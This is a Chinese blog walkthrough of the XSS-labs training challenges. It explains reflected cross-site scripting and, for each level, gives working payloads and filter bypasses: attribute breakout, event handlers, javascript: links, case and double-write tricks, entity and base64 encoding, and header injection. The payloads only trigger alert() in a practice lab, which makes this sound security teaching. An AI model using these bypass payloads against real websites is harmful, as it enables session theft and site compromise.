当前位置: 首页 > news >正文

XSS-labs

XSS常见的触发标签_xss标签_H3rmesk1t的博客-CSDN博客

该补习补习xss漏洞了

漏洞原理

网站存在 静态 和 动态 网站

xss 针对的网站 就是 动态网站

动态网站会根据 用户的环境  与 需求 反馈出 不同的响应静态页面 代码写死了  只会存在代码中有的内容

通过动态网站 用户体验会大大加深 但是会存在漏洞 xss

XSS 是一种注入漏洞通过用户输入 在代码页中插入 恶意语句 从而实现注入攻击成功 可以获取但不止 COOKIE 会话 和 隐私页面

首先我们来看看最简单

<?php$xss = $_GET['name'];
echo $xss;?>

然后我们通过 get 传递漏洞

<script>alert(1)</script>

xss需要通过php的输出指令来输出

我们通过做题目来继续了解吧

打开靶场

Level1   【无过滤】

我们能发现 这三个地方

然后我们回去看看源代码

能发现 我们输入什么 他就存储在源代码什么

这里就是动态的

如果和sql注入一样 我们插入恶意代码呢

<script>alert(1)</script>这里通过 alert 来弹窗这里 script 表示 JavaScript代码 / 表示结束了那么这里插入后<h2 align=center>欢迎用户test1</h2><center><img src=level1.png></center>就变为了<h2 align=center>欢迎用户test1<script>alert(1)</script></h2><center><img src=level1.png></center>实现了 alert 弹窗

我们就实现了 第一题

Level2   【参数】

我们依然看看源代码

这里我们发现了 我们输入的值 被当做参数了

value="1">

这里我们就想到了 sql注入的闭合了

<script>标签

value="1">如果我们自己将其闭合呢我们输入 ">就会变为value="">">这里 其实就是value="">
">然后我们构造恶意代码value=""><script>alert(1)</script>
">就会实现xss注入

所以payload 就是

"><script>alert(1)</script>

<img>标签

src

是资源的标签

一般

<img src="/i/eg_tulip.jpg" />

这样使用

如果读取不到 我们可以设置 onerror属性 来输出内容 这里就存在 xss

"> <img src="666" onerror=alert()> <"

onmouseout   鼠标移出图片

附属于 img 下的属性

payload为 

"> <img src=666 onmouseout="alert()"> <"

onmouseover  鼠标移动到图片

"> <img src=666 onmouseover="alert()"> <"

 data 伪协议

这里是利用 iframe标签

"> <iframe src=data:text/html;base64,PHNjcmlwdD5hbGVydCgpPC9zY3JpcHQ+> <"PHNjcmlwdD5hbGVydCgpPC9zY3JpcHQ+ 为 <sricpt>alert()</sricpt>

Level3   【htmlspecialchars】

我们查看代码 没有发现和上一题有什么不一样的

所以我们去继续使用上题的payload

"><script>alert(1)</script>

 

发现被实体化了

并且只过滤了  <>

这里我们就需要想到是htmlspecialchars

我们去看xsslab源代码

确实是这样

这里其实预定义了转义的内容  因为单引号没有被转义 但是其实可以实现的

&:转换为&amp;
":转换为&quot;
':转换为成为 '
<:转换为&lt;
>:转换为&gt;

发现就是为了让 <>里面的转变为字符串 失去闭合作用

单引号绕过

这里我们需要通过 ' 绕过

因为我们的<> 会被实体化所以我们需要运用不需要<>的payload我们可以利用 onfocus 事件

onfocus事件

当 页面中存在 输入框等 需要存在点击的界面时onfocus 就可以被触发

这里就存在一个很明显的例子

既然 onfocus可以出发函数 那么我们就可以通过执行

这里就可以写入payload

onfocus=javascript:alert()

这样就可以绕过 过滤 <>

那我们如何执行呢

我们输入一个 ' 时变成了下面这个
value="" '="">我们输入 'abcd'变为了value="" abcd''="">我们输入 payload' onfocus=javascript:alert(1) ' 就会变为value=""  onfocus=javascript:alert(1) '' ="">从而实现了闭合

所以最终payload

' onfocus=javascript:alert(1) '

Level4   【过滤><】

我们首先可以判断是否存在过滤

'"&<>

发现只有3个了 过滤了 <>

用上题目的payload

' onfocus=javascript:alert(1) '

失效了

我们看看代码

进行修改payload

" onfocus=javascript:alert(1) '

Level5   【过滤script】

我们使用第一题的payload直接上去

发现 script 变为了 scr_ipt

我们去看看源代码

发现过滤了 on 和 script

所以我们使用其他方式

a herf

<html
<p>123</p>
<a href=javascript:alert("yes")>xxxxxx</a>
</html>

我们先给出payload

然后我们解释一下

通过 a标签 然后点击 我们可以实现跳转等操作

既然可以实现跳转 那我们也可以实现 执行JavaScript命令

我们开始做题

我们先传入内容

<a href=javascript:alert()>xxxxxx</a>

我们需要闭合 所以修改paylaod

"> <a href=javascript:alert()>xxxxx</a>

还需要将后面的 "> 闭合

所以最后的payload为

"> <a href=javascript:alert()>xxxxx</a> <"

点击即可实现

Level6   【过滤 a href】

我们把上面的 payload 丢进去看看

发现 过滤 了 a href

但是放出来了 大小写 所以我们可以

大小写绕过

"> <ScRipt>alert()</ScRipt> <"

或者

"> <a HrEf=javascript:alert()>xxxx</a> <"

又或者

" Onfocus=javascript:alert() "

Level7  【替换为空】

我们先上关键词看看

" Onfocus <ScRipt> <a Href=javascript:alert()>

能发现返回值是

" focus <> <a =java:alert()>

全部替换为空了

这里我们使用

双写绕过

开始构造

" OOnnfocus=javascscriptript:alert() ""> <a hrhrefef=javascscriptript:alert()>xx</a> <"

Level8   【a href标签自动url解码】

更新一下 关键词

" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>

看看过滤了啥

这里为什么我们无法直接通过input来xss 因为存在 htmlspecialchars函数 会吧我们输入的内容

直接作为字符串输出

引号被过滤了 无法实现闭合

所以没有用了

我们需要通过下面的 a href标签输出了

但是下面又存在过滤

我们如何实现呢

其实

a href 存在自动解密 url的功能

所以我们只需要通过编码绕过 过滤 如何通过 a href 编码执行即可

javascript:alert()&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;unicode编码

直接输入即可

然后点击 友情链接即可

Level9   【判断http在不在标签内】

我们看看源代码

strpos 查看 http://是否在 输入里面 如果不在 输出不合法

这里就好办了

我们通过注释输入http://即可

运用上一道题目的payload

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41; /* http:// */

这里就看到 http:// 是被注释掉了

Level10 【闭合 fake hidden】

看看源代码

发现需要另一个来传递

我们这里并且过滤了 <>

但是其实还是很简单的

" onfocus=javascript:alert() " type=text

 Level11  【Referer注入】

我们再来看看源代码

通过referer

为什么无法通过 t_sort

因为 htmlspecialchars 无法闭合 " 会被实体化

所以我们通过 referer来进行 xss

referer 的内容 就和 上面一样

" onfocus=javascript:alert() " type=text

Level12 【UA注入】

" onfocus=javascript:alert() " type=text

Level13 【cookie注入】

" onfocus=javascript:alert() " type=text

Level14  【通过图片属性实现xss】

这里我的小皮环境有问题 无法实现文件上传

这里 主要就是通过 图片的属性解析 然后我们写入 xss语句

这样就会报错

[靶场] XSS-Labs 14-20_3hex的博客-CSDN博客

Level15   【通过src访问文件执行】

这里的意思就是src是访问了 一个图片

那我们可以通过这个src访问第一题的php 然后通过 第一题的php来执行

但是我还是无法实现 可能我php没开启属性

xss-labs靶场实战全通关详细过程(xss靶场详解)-CSDN博客

Level16   【绕过空格】

XSS常见的触发标签_xss标签_H3rmesk1t的博客-CSDN博客

查看代码

发现过滤了 空格 和 /

首先就是查找一个不需要/的触发标签

这里我选择

<video><source onerror="alert(1)">

其次需要绕过空格

我们可以首先看看 这两个空格是什么编码

那么这里面我们可以使用 %0a绕过

所以payload就是

<video><source%0Aonerror="alert(1)">

Level17

后面是 flash的插件了

我觉得没有必要做了 因为现在 flash已经被大多数浏览器抛弃了

相关文章:

XSS-labs

XSS常见的触发标签_xss标签_H3rmesk1t的博客-CSDN博客 该补习补习xss漏洞了 漏洞原理 网站存在 静态 和 动态 网站 xss 针对的网站 就是 动态网站 动态网站会根据 用户的环境 与 需求 反馈出 不同的响应静态页面 代码写死了 只会存在代码中有的内容 通过动态网站 用户体…...

C++简单实现AVL树

目录 一、AVL树的概念 二、AVL树的性质 三、AVL树节点的定义 四、AVL树的插入 4.1 parent的平衡因子为0 4.2 parent的平衡因子为1或-1 4.3 parent的平衡因子为2或-2 4.3.1 左单旋 4.3.2 右单旋 4.3.3 先左单旋再右单旋 4.3.4 先右单旋再左单旋 4.4 插入节点完整代码…...

UE4 Cesium 与ultra dynamic sky插件天气融合

晴天&#xff1a; 雨天&#xff1a; 雨天湿度&#xff1a; 小雪&#xff1a; 中雪&#xff1a; 找到该路径这个材质&#xff1a; 双击点开&#xff1a; 将Wet_Weather_Effects与Snow_Weather_Effects复制下来&#xff0c;包括参数节点 找到该路径这个材质&#xff0c;双击点开&…...

SpringCloud Gateway--Predicate/断言(详细介绍)下

&#x1f600;前言 本篇博文是关于SpringCloud Gateway–Predicate/断言&#xff08;详细介绍&#xff09;下&#xff0c;希望你能够喜欢 &#x1f3e0;个人主页&#xff1a;晨犀主页 &#x1f9d1;个人简介&#xff1a;大家好&#xff0c;我是晨犀&#xff0c;希望我的文章可以…...

SOC芯片学习--GPIO简介

原创 硬件设计技术 硬件设计技术 2023-07-20 00:04 发表于广东 收录于合集#集成电路--IC7个 一、GPIO定义、分类&#xff1a; GPIO&#xff08;英语&#xff1a;General-purpose input/output&#xff09;&#xff0c;通用型之输入输出的简称&#xff0c;其接脚可以供使用者由…...

skywalking源码本地编译运行经验总结

前言 最近工作原因在弄skywalking&#xff0c;为了进一步熟悉拉了代码下来准备debug&#xff0c;但是编译启动项目我就费了老大劲了&#xff0c;所以准备写这篇&#xff0c;帮兄弟们少踩点坑。 正确步骤 既然是用开源的东西&#xff0c;那么最好就是按照人家的方式使用&…...

K8s架构简述

以部署一个nginx服务说明kubernetes系统各个组件调用关系&#xff1a; 一旦kubernetes环境启动之后&#xff0c;master和node都会将自身的信息存储到etcd数据库中 一个nginx服务的安装请求会首先被发送到master节点的apiServer组件 apiServer组件会调用scheduler组件来决定到底…...

linkedlist和arraylist的区别

LinkedList和ArrayList都是常见的数据结构&#xff0c;用于存储和操作集合元素&#xff0c;如果需要频繁进行插入和删除操作&#xff0c;LinkedList可能更适合。如果需要快速随机访问和较小的内存占用&#xff0c;ArrayList可能更合适。 以下是它们之间存在一些关键的区别&…...

[尚硅谷React笔记]——第2章 React面向组件编程

目录&#xff1a; 基本理解和使用&#xff1a; 使用React开发者工具调试函数式组件复习类的基本知识类式组件组件三大核心属性1: state 复习类中方法this指向&#xff1a; 复习bind函数&#xff1a;解决changeWeather中this指向问题&#xff1a;一般写法&#xff1a;state.htm…...

嵌入式学习笔记(40)看门狗定时器

7.5.1什么是看门狗、有何用 (1)看门狗定时器和普通定时器并无本质区别。定时器可以设定一个时间&#xff0c;在这个时间完成之前定时器不断计时&#xff0c;时间到的时候定时器会复位CPU&#xff08;重启系统&#xff09;。 (2)系统正常工作的时候当然不希望被重启&#xff0…...

点击、拖拉拽,BI系统让业务掌握数据分析主动权

在今天的商业环境中&#xff0c;数据分析已经成为企业获取竞争优势的关键因素之一。然而&#xff0c;许多企业在面对复杂的数据分析工具时&#xff0c;却常常感到困扰。这些工具往往需要专业的技术人员操作&#xff0c;而且界面复杂&#xff0c;难以理解和使用。对业务人员来说…...

C++模拟题[第一周-T1] 扑克

[第一周-T1] 扑克 题目描述 斗地主是一种使用 A \tt A A 到 K \tt K K 加上大小王的共 54 54 54 张扑克牌来进行的游戏&#xff0c;其中大小王各一张&#xff0c;其它数码牌各四张。在斗地主中&#xff0c;牌的大小关系根据牌的数码表示如下&#xff1a; 3 < 4 < 5 …...

ciscn_2019_s_9

ciscn_2019_s_9 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments32位&#xff0c;啥也没开&#xff0c;开心愉悦写shellcode int pwn() {char s[24]; // [esp8…...

微信、支付宝、百度、抖音开放平台第三方代小程序开发总结

大家好&#xff0c;我是小悟 小伙伴们都开启小长假了吧&#xff0c;值此中秋国庆双节之际&#xff0c;小悟祝所有的小伙伴们节日快乐。 支付宝社区很用心&#xff0c;还特意给寄了袋月饼&#xff0c;愿中秋节的圆月带给你身体健康&#xff0c;幸福团圆&#xff0c;国庆节的旗帜…...

C语言协程

协程&#xff08;Coroutine&#xff09;是一种程序运行方式&#xff0c;相比于线程和进程&#xff0c;协程更加轻量级&#xff0c;可以被视为一种用户态的线程&#xff0c;不需要内核的参与。 协程的特点在于其执行过程中可以被挂起&#xff08;Suspend&#xff09;&#xff0…...

RK3588安装python3.11(ubuntu18.04)

1.前言 看到rknn_toolkit_lite2更新了python3.11的安装包&#xff0c;马上更新一下 2.RK3588安装python3.11 Ubuntu上编译Python 3.11&#xff0c;您可以按照以下步骤进行操作&#xff1a; (1) 准备编译环境 在开始之前&#xff0c;确保您的系统已安装必要的编译工具和依赖项…...

‘Could not find first log file name in binary log index file‘的解决办法

mysql主从报异常Got fatal error 1236 from master when reading data from binary log: Could not find first log file name in binary log index file 数据库主从出错: Slave_IO_Running: No 一方面原因是因为网络通信的问题也有可能是日志读取错误的问题。以下是日志出错…...

快速排序与冒泡排序以及代码

快速排序 快速排序&#xff08;Quicksort&#xff09;是一种常用的排序算法&#xff0c;它基于分治的思想。 时间复杂度&#xff1a;O&#xff08;nlogn&#xff09; 空间复杂度&#xff1a;O&#xff08;logn&#xff09; 快速排序的基本思想如下&#xff1a; 选择一个元素…...

[React] 性能优化相关 (一)

文章目录 1.React.memo2.useMemo3.useCallback4.useTransition5.useDeferredValue 1.React.memo 当父组件被重新渲染的时候&#xff0c;也会触发子组件的重新渲染&#xff0c;这样就多出了无意义的性能开销。如果子组件的状态没有发生变化&#xff0c;则子组件是不需要被重新渲…...

云中网络的隔离GREVXLAN

底层的物理网络设备组成的网络我们称为 Underlay 网络&#xff0c;而用于虚拟机和云中的这些技术组成的网络称为 Overlay 网络&#xff0c;这是一种基于物理网络的虚拟化网络实现。 第一个技术是 GRE&#xff0c;全称 Generic Routing Encapsulation&#xff0c;它是一种 IP-o…...

【【萌新的RiscV学习之流水线控制-9】】

萌新的RiscV学习之流水线控制-9 我们按照在之前的单周期设计加入控制单元 那么我们能够在后续的设计中提供方便 我们也在流水线中加入一个control单元 我们先按照书上的指令op码值介绍一遍基本功能 接下来我们讲述control 的 控制效果 关于这些串口判别的使用 由于控制线从…...

MySQL 通过存储过程高效插入100w条数据

目录 一、前言二、创建表三、编写存储过程插入数据四、高效插入数据方案4.1、插入数据时删除表中全部索引4.2、存储过程中使用统一事务插入&#xff08;性能显著提升&#xff09;4.3、调整MySQL系统配置&#xff08;性能显著提升&#xff0c;适合存储过程没有使用统一事务&…...

国庆10.1

用select实现服务器并发 ser #include <myhead.h> #define ERR_MSG(msg) do{\fprintf(stderr, "__%d__", __LINE__);\perror(msg);\ }while(0)#define PORT 8888 //端口号&#xff0c;范围1024~49151 #define IP "192.168.1.205" //本机…...

[C++_containers]10分钟让你掌握vector

前言 在一个容器的创建或是使用之前&#xff0c;我们应该先明白这个容器的一些特征。 我们可以通过文档来来了解&#xff0c;当然我也会将重要的部分写在下面。 1. vector 是表示可变大小数组的序列容器。 2. 就像数组一样&#xff0c; vector 也采用的连续存储空间来存储元…...

前端与后端:程序中两个不同的领域

前端和后端是构成一个完整的计算机应用系统的两个主要部分。它们分别负责不同的功能和任务&#xff0c;有以下几个方面的区别&#xff1a; 功能&#xff1a;前端主要负责用户界面的呈现和交互&#xff0c;包括网页的设计、布局、样式、动画效果和用户输入等。后端则处理网站或应…...

vue3 +elementplus | vue2+elementui 动态地通过验证规则子新增或删除单个表单字段

效果图 点击 ‘’ 新增一行&#xff0c;点击‘-’ 删除一行 vue3elementplus写法 template <el-dialog v-model"dialogFormVisible" :title"title"><el-form ref"ruleFormRef" :model"form" :inline"true" lab…...

STM32之DMA

简介 • DMA &#xff08; Direct Memory Access &#xff09;直接存储器存取 &#xff08;可以直接访问STM32内部存储器&#xff0c;如SRAM、程序存储器Flash和寄存器等&#xff09; •DMA可以提供外设和存储器或者存储器和存储器之间的高速数据传输&#xff0c;无须CPU干预&a…...

解决前端二进制流下载的文件(例如:excel)打不开的问题

1. 现在后端请求数据后&#xff0c;返回了一个二进制的数据&#xff0c;我们要把它下载下来。 这是响应的数据&#xff1a; 2. 这是调用接口的地方&#xff1a; uploadOk(){if(this.files.length 0){return this.$Message.warning("请选择上传文件&#xff01;&#xff…...

动态规划算法(1)--矩阵连乘和凸多边形剖分

目录 一、动态数组 1、创建动态数组 2、添加元素 3、删除修改元素 4、访问元素 5、返回数组长度 6、for each遍历数组 二、输入多个数字 1、正则表达式 2、has.next()方法 三、矩阵连乘 1、什么是矩阵连乘&#xff1f; 2、动态规划思路 3、手推m和s矩阵 4、完…...

通过Nginx重新认识HTTP错误码

文章目录 概要一、HTTP错误码1.1、1xx1.2、2xx1.3、3xx1.4、4xx1.5、5xx 二、Nginx对常见错误处理三、参考资料 概要 在web开发过程中&#xff0c;通过HTTP错误码快速定位问题是一个非常重要的技能&#xff0c;同时Nginx是非常常用的一个实现HTTP协议的服务&#xff0c;因此本…...

网站建设里面链接打不开/免费的郑州网络推广服务

实战需求 SwiftUI macos 教程之如何设置TextView行间距 参考代码 let myStyle NSMutableParagraphStyle()myStyle.lineSpacing 10.0textView.defaultParagraphStyle myStyle加入我们一起学习SwiftUI QQ:3365059189 SwiftUI技术交流QQ群:518696470...

c 语言做网站/旺道seo

比css更加丰满 http://lesscss.cn/functions/#color-blending转载于:https://www.cnblogs.com/liuliang389897172/p/9020000.html...

台州哪家做企业网站比较好/惠东seo公司

文章目录Echarts仪表盘的常见效果仪表盘的特点Echarts 每个图表均配有对应的源代码以及知识点~~~~ 详情可点开对应的图表学习&#xff01; 各类常用图表总结在此&#xff01;配合使用更方便~ https://blog.csdn.net/diviner_s/article/details/116072584 官方对应文件工具&…...

php网站开发的相关技术/软文推广例子

例题&#xff1a; 对下方出现的电话号码进行加密 需求最终效果: 客户1&#xff1a;181****5458&#xff0c;客户2&#xff1a;139****0342 tel "客户1&#xff1a;18119285458&#xff0c;客户2&#xff1a;13937560342" 一、最简单的方法&#xff1a; # 字…...

哪个企业的网站做的比较好/互联网产品推广是做什么的

作为开发者&#xff0c;经常需要面对影响整个应用架构的决策。而Web开发者的核心决策之一&#xff0c;就是应用逻辑与渲染工作的实现&#xff0c;应处于架构中的什么位置&#xff08;译注&#xff1a;客户端 or 服务器&#xff1f;&#xff09;。现在有很多不同构建网站的方法&…...

网站右侧客服代码/搜索引擎环境优化

经过了上周的期末考试&#xff0c;现在还剩一门没考&#xff0c;呵呵&#xff0c;今下午顺便做了个实验&#xff0c;是关于vlan间通信的&#xff0c;以前做过利用单臂路由实验vlan间通信([url]http://victoryan.blog.51cto.com/191603/44099[/url])&#xff0c;这次是利用三层交…...